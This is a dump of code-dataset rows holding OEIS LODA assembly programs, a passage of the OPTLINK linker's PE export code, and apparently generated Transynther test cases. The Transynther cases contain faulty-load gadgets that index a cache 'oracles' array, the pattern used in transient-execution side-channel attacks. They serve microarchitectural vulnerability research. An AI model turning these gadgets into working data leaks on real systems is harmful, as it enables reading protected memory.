hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e7591ec07980d662e0e24769c77764f32313367c | 1,471 | asm | Assembly | programs/oeis/241/A241404.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/241/A241404.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/241/A241404.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A241404: Sum of n and the sum of the factorials of its digits.
; 2,4,9,28,125,726,5047,40328,362889,12,13,15,20,39,136,737,5058,40339,362900,23,24,26,31,50,147,748,5069,40350,362911,37,38,40,45,64,161,762,5083,40364,362925,65,66,68,73,92,189,790,5111,40392,362953,171,172,174,179,198,295,896,5217,40498,363059,781,782,784,789,808,905,1506,5827,41108,363669,5111,5112,5114,5119,5138,5235,5836,10157,45438,367999,40401,40402,40404,40409,40428,40525,41126,45447,80728,403289,362971,362972,362974,362979,362998,363095,363696,368017,403298,725859,103,104,106,111,130,227,828,5149,40430,362991,113,114,116,121,140,237,838,5159,40440,363001,124,125,127,132,151,248,849,5170,40451,363012,138,139,141,146,165,262,863,5184,40465,363026,166,167,169,174,193,290,891,5212,40493,363054,272,273,275,280,299,396,997,5318,40599,363160,882,883,885,890,909,1006,1607,5928,41209,363770,5212,5213,5215,5220,5239,5336,5937,10258,45539,368100,40502,40503,40505,40510,40529,40626,41227,45548,80829,403390,363072,363073,363075,363080,363099,363196,363797,368118,403399,725960,204,205,207,212,231,328,929,5250,40531,363092,214,215,217,222,241,338,939,5260,40541,363102,225,226,228,233,252,349,950,5271,40552,363113,239,240,242,247,266,363,964,5285,40566,363127,267,268,270,275,294,391,992,5313,40594,363155,373
mov $6,$0
add $0,1
lpb $0,1
mov $2,$0
div $0,10
mod $2,10
fac $2
mov $3,2
add $4,$2
sub $5,$5
add $5,1
mul $5,2
lpe
mov $1,$4
mul $5,$3
add $1,$5
sub $1,3
add $1,$6
| 66.863636 | 1,221 | 0.752549 |
4e077a847746e1b065728a6ce0aaff206185b5a0 | 5,442 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_121.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_121.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_121.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xa8d8, %rsi
lea addresses_A_ht+0x10f58, %rdi
nop
cmp $38659, %rax
mov $82, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp $30567, %rdx
lea addresses_UC_ht+0x4dd8, %rcx
nop
nop
nop
add %r12, %r12
mov (%rcx), %rax
nop
inc %rcx
lea addresses_UC_ht+0x29d8, %rsi
lea addresses_D_ht+0x9969, %rdi
add %rdx, %rdx
mov $22, %rcx
rep movsb
nop
nop
nop
nop
add $43405, %r12
lea addresses_WC_ht+0x7fd8, %rax
nop
nop
xor $34862, %rbp
movl $0x61626364, (%rax)
nop
inc %rdx
lea addresses_normal_ht+0xfb88, %rsi
lea addresses_WT_ht+0x6256, %rdi
xor %r14, %r14
mov $119, %rcx
rep movsl
nop
nop
nop
nop
and %rbp, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %rax
push %rbx
push %rdx
push %rsi
// Store
mov $0x368, %r15
nop
nop
nop
cmp $28183, %rbx
mov $0x5152535455565758, %rsi
movq %rsi, %xmm4
movups %xmm4, (%r15)
nop
nop
nop
dec %rsi
// Faulty Load
lea addresses_RW+0x139d8, %rbx
add $5634, %r15
movups (%rbx), %xmm3
vpextrq $1, %xmm3, %rsi
lea oracles, %rdx
and $0xff, %rsi
shlq $12, %rsi
mov (%rdx,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rbx
pop %rax
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 10, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 43.887097 | 2,999 | 0.660419 |
cfe88c6d8d5f4a40b237f9327faab37004e6548f | 1,267 | asm | Assembly | programs/oeis/061/A061776.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/061/A061776.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/061/A061776.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A061776: Start with a single triangle; at n-th generation add a triangle at each vertex, allowing triangles to overlap; sequence gives number of triangles in n-th generation.
; 1,3,6,12,18,30,42,66,90,138,186,282,378,570,762,1146,1530,2298,3066,4602,6138,9210,12282,18426,24570,36858,49146,73722,98298,147450,196602,294906,393210,589818,786426,1179642,1572858,2359290,3145722,4718586,6291450,9437178,12582906,18874362,25165818,37748730,50331642,75497466,100663290,150994938,201326586,301989882,402653178,603979770,805306362,1207959546,1610612730,2415919098,3221225466,4831838202,6442450938,9663676410,12884901882,19327352826,25769803770,38654705658,51539607546,77309411322,103079215098,154618822650,206158430202,309237645306,412316860410,618475290618,824633720826,1236950581242,1649267441658,2473901162490,3298534883322,4947802324986,6597069766650,9895604649978,13194139533306,19791209299962,26388279066618,39582418599930,52776558133242,79164837199866,105553116266490,158329674399738,211106232532986,316659348799482,422212465065978,633318697598970,844424930131962,1266637395197946,1688849860263930,2533274790395898,3377699720527866,5066549580791802,6755399441055738
mov $2,1
lpb $0
add $1,1
trn $2,$0
sub $0,1
add $2,$1
mov $1,$2
lpe
add $2,$1
add $1,$2
| 90.5 | 990 | 0.84925 |
a919115c4a855e85eff80a3d743aed06ce72c4a6 | 5,915 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_373.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_373.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_373.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r15
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xa035, %r12
nop
nop
nop
sub $27558, %r9
movups (%r12), %xmm0
vpextrq $1, %xmm0, %r8
nop
nop
nop
nop
nop
cmp %r15, %r15
lea addresses_normal_ht+0x1887d, %r11
nop
inc %r13
movb (%r11), %al
nop
nop
dec %r8
lea addresses_normal_ht+0xdaad, %rsi
lea addresses_normal_ht+0x1d0b1, %rdi
nop
nop
nop
sub $35360, %r9
mov $54, %rcx
rep movsq
nop
nop
inc %r13
lea addresses_normal_ht+0x16dcd, %rdi
nop
nop
nop
nop
add %rsi, %rsi
and $0xffffffffffffffc0, %rdi
movntdqa (%rdi), %xmm7
vpextrq $1, %xmm7, %r9
nop
nop
nop
add $10297, %r13
lea addresses_normal_ht+0x1ad8d, %r8
nop
nop
nop
nop
sub %rsi, %rsi
mov (%r8), %r13w
nop
inc %r8
lea addresses_normal_ht+0x1204d, %rsi
inc %r9
mov $0x6162636465666768, %r12
movq %r12, %xmm7
movups %xmm7, (%rsi)
nop
nop
and %r11, %r11
lea addresses_A_ht+0xcdbd, %rax
nop
nop
nop
cmp $61755, %rcx
mov (%rax), %r15
nop
nop
dec %rsi
lea addresses_WC_ht+0x11e2d, %r12
clflush (%r12)
nop
nop
nop
nop
and $41846, %r8
mov (%r12), %edi
nop
nop
xor $57516, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r15
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r8
push %rax
push %rbx
// Faulty Load
lea addresses_UC+0x404d, %rax
nop
cmp $17939, %r13
mov (%rax), %r10w
lea oracles, %r8
and $0xff, %r10
shlq $12, %r10
mov (%r8,%r10,1), %r10
pop %rbx
pop %rax
pop %r8
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 39.433333 | 2,999 | 0.660017 |
e7764ceded19b239ac5ba5230b0bf57463233988 | 359 | asm | Assembly | oeis/052/A052653.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/052/A052653.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/052/A052653.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A052653: E.g.f. (1-2x^2)/(1-x-2x^2).
; Submitted by Jamie Morken(s4)
; 1,1,2,18,120,1320,15120,216720,3427200,62052480,1237420800,27263174400,653837184000,17005993804800,476080648243200,14283727121664000,457058345103360000,15540339420942336000
mov $3,1
lpb $0
mul $2,2
add $3,$1
mov $1,$0
sub $0,1
mul $3,$1
mul $1,$2
mov $2,$3
lpe
mov $0,$3
| 22.4375 | 174 | 0.696379 |
10cc765af9bb9c859a333e4823adf089420d6246 | 12,461 | asm | Assembly | os2link/src/peexport.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 28 | 2015-02-03T01:38:24.000Z | 2022-03-23T05:48:24.000Z | os2link/src/peexport.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 20 | 2015-01-02T14:51:20.000Z | 2021-01-09T21:37:19.000Z | os2link/src/peexport.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 9 | 2015-02-11T17:43:56.000Z | 2019-09-05T11:07:02.000Z | TITLE PEEXPORT - Copyright (c) SLR Systems 1994
INCLUDE MACROS
if fg_pe
INCLUDE SYMBOLS
INCLUDE SEGMSYMS
INCLUDE PE_STRUC
PUBLIC PE_OUTPUT_EXPORTS
.DATA
EXTERNDEF SYMBOL_TEXT:BYTE,TEMP_RECORD:BYTE,EXPORT_TABLE_USE:BYTE
EXTERNDEF EXP_BUFFER:DWORD,EXPORT_ORDINAL_BASE:DWORD,N_EXPORT_RVAS:DWORD
EXTERNDEF MODULE_NAME:DWORD,N_EXPORTS_BYNAME:DWORD,SYMBOL_LENGTH:DWORD,N_EXPORTS:DWORD
EXTERNDEF OPTI_STOSD_SIZE:DWORD,PE_BASE:DWORD,ENTRYNAME_BITS:DWORD,FINAL_HIGH_WATER:DWORD
EXTERNDEF ENTRYNAME_GARRAY:STD_PTR_S,SYMBOL_GARRAY:STD_PTR_S,ENTRYNAME_STUFF:ALLOCS_STRUCT
.CODE PASS2_TEXT
EXTERNDEF RELEASE_BLOCK:PROC,OUTPUT_LIB:PROC,UNUSE_ENTRYNAMES:PROC,UNUSE_SORTED_EXPORTS:PROC
EXTERNDEF CHANGE_PE_OBJECT:PROC,ERR_ASCIZ_RET:PROC,OUTPUT_DIN:PROC,STORE_EAXECX_EDXEBX_RANDOM:PROC
EXTERNDEF MOVE_EAX_TO_FINAL_HIGH_WATER:PROC,MOVE_EAX_TO_EDX_FINAL:PROC,MOVE_ASCIZ_ESI_EDI:PROC
EXTERNDEF _release_minidata:proc,RELEASE_GARRAY:PROC,CONVERT_SUBBX_TO_EAX:PROC
EXTERNDEF EXP_CONST_ERR:ABS
N_PTRS_ALLOWED EQU 32
N_ORDS_ALLOWED EQU 32
PE_EXP_VARS STRUC
PEEXP_DIR_BP PE_EXPORT_DIR_STRUCT <>
ENT_STUFF_BP ENT_STRUCT<>
PE_EXPORTS_STRUCTURE_BP SEQ_STRUCT <> ;64K ;**
DD 3 * (32K/PAGE_SIZE) * 2 DUP(?) ;** TOTAL 256K FOR STORING ADDRESSES
;**
PTRS_BUFFER_BP DD N_PTRS_ALLOWED DUP(?) ;**
ORDS_BUFFER_BP DW N_ORDS_ALLOWED DUP(?)
PEEXP_ADDRESSES_FA_BP DD ?
PEEXP_NAME_PTRS_FA_BP DD ?
PEEXP_ORDINALS_FA_BP DD ?
PEEXP_STRINGS_FA_BP DD ?
NAME_PTRS_PTR_BP DD ?
ORDINALS_PTR_BP DD ?
STRINGS_PTR_BP DD ?
NAME_PTRS_LEFT_BP DD ?
ORDINALS_LEFT_BP DD ?
STRING_BYTES_LEFT_BP DD ?
MY_RVA_BP DD ?
NEXT_STRING_RVA_BP DD ?
EXP_TEMP_BP DD ?
WM_PTR_BP DD ?
WM_PTR_LIMIT_BP DD ?
WM_BLK_PTR_BP DD ?
ORDBITS_PTR_BP DD ?
ORDBITS_NUMBER_BP DD ?
CURN_ORDNUM_DWORD_BP DD ?
CURN_ORDNUM_BP DD ?
PE_EXP_VARS ENDS
FIX MACRO X
X EQU ([EBP-SIZE PE_EXP_VARS].(X&_BP))
ENDM
FIX PEEXP_DIR
FIX ENT_STUFF
FIX PE_EXPORTS_STRUCTURE
FIX PTRS_BUFFER
FIX ORDS_BUFFER
FIX PEEXP_ADDRESSES_FA
FIX PEEXP_NAME_PTRS_FA
FIX PEEXP_ORDINALS_FA
FIX PEEXP_STRINGS_FA
FIX NAME_PTRS_PTR
FIX ORDINALS_PTR
FIX STRINGS_PTR
FIX NAME_PTRS_LEFT
FIX ORDINALS_LEFT
FIX STRING_BYTES_LEFT
FIX MY_RVA
FIX NEXT_STRING_RVA
FIX EXP_TEMP
FIX WM_PTR_LIMIT
FIX WM_PTR
FIX WM_BLK_PTR
FIX ORDBITS_PTR
FIX ORDBITS_NUMBER
FIX CURN_ORDNUM_DWORD
FIX CURN_ORDNUM
PE_OUTPUT_EXPORTS PROC
;
;THIS BUILDS AND OUTPUTS THE EXPORTS SECTION...
;
CMP ENTRYNAME_BITS,0
JNZ L0$
CALL OUTPUT_DIN ;IF REQUESTED
CALL OUTPUT_LIB ;IF REQUESTED
L09$:
RET ;NO EXPORTS, DONE!
L0$:
BITT OUTPUT_PE
JZ L09$
PUSH EBP
MOV EBP,ESP
SUB ESP,SIZE PE_EXP_VARS
ASSUME EBP:PTR PE_EXP_VARS
;
;CALCULATE ADDRESSES TO STORE STUFF AT...
;
CALL CHANGE_PE_OBJECT ;FLUSH PREVIOUS OBJECT, SETUP FOR NEW, DS:SI POINTS TO OBJECT
ASSUME EAX:PTR PE_OBJECT_STRUCT
MOV [EAX]._PEOBJECT_FLAGS,MASK PEL_INIT_DATA_OBJECT + MASK PEH_READABLE
;
;DEFINE EXPORT DIRECTORY
;
MOV ESI,EAX
LEA EDI,PEEXP_DIR
ASSUME ESI:PTR PE_OBJECT_STRUCT
MOV ECX,SIZE PE_EXPORT_DIR_STRUCT/4
XOR EAX,EAX
REP STOSD
LEA EDI,PE_EXPORTS_STRUCTURE ;FOR RANDOM ACCESSING ORDINALS
MOV ECX,(PE_EXP_VARS.PTRS_BUFFER_BP-PE_EXP_VARS.PE_EXPORTS_STRUCTURE_BP)/4
REP STOSD
MOV EAX,EXPORT_ORDINAL_BASE
MOV EBX,N_EXPORT_RVAS
MOV PEEXP_DIR._PEEXP_ORDINAL_BASE,EAX
MOV PEEXP_DIR._PEEXP_N_EXPORTS,EBX
CMP N_EXPORTS,EBX
JAE L05$
SETT STORE_DSSICX_USE_ZERO
MOV OPTI_STOSD_SIZE,PAGE_SIZE/4
L05$:
MOV EDX,N_EXPORTS_BYNAME
MOV EAX,[ESI]._PEOBJECT_RVA
MOV PEEXP_DIR._PEEXP_N_POINTERS,EDX
MOV EDI,FINAL_HIGH_WATER
MOV MY_RVA,EAX
SUB EDI,EAX
ADD EAX,SIZE PE_EXPORT_DIR_STRUCT
MOV ECX,FINAL_HIGH_WATER
MOV PEEXP_DIR._PEEXP_ADDRESSES_RVA,EAX
ADD ECX,SIZE PE_EXPORT_DIR_STRUCT
SHL EBX,2 ;N_EXPORT_RVAS
MOV PEEXP_ADDRESSES_FA,ECX
ADD EAX,EBX
MOV ECX,EDI
MOV EBX,N_EXPORTS_BYNAME
MOV PEEXP_DIR._PEEXP_NAMES_RVA,EAX
SHL EBX,2
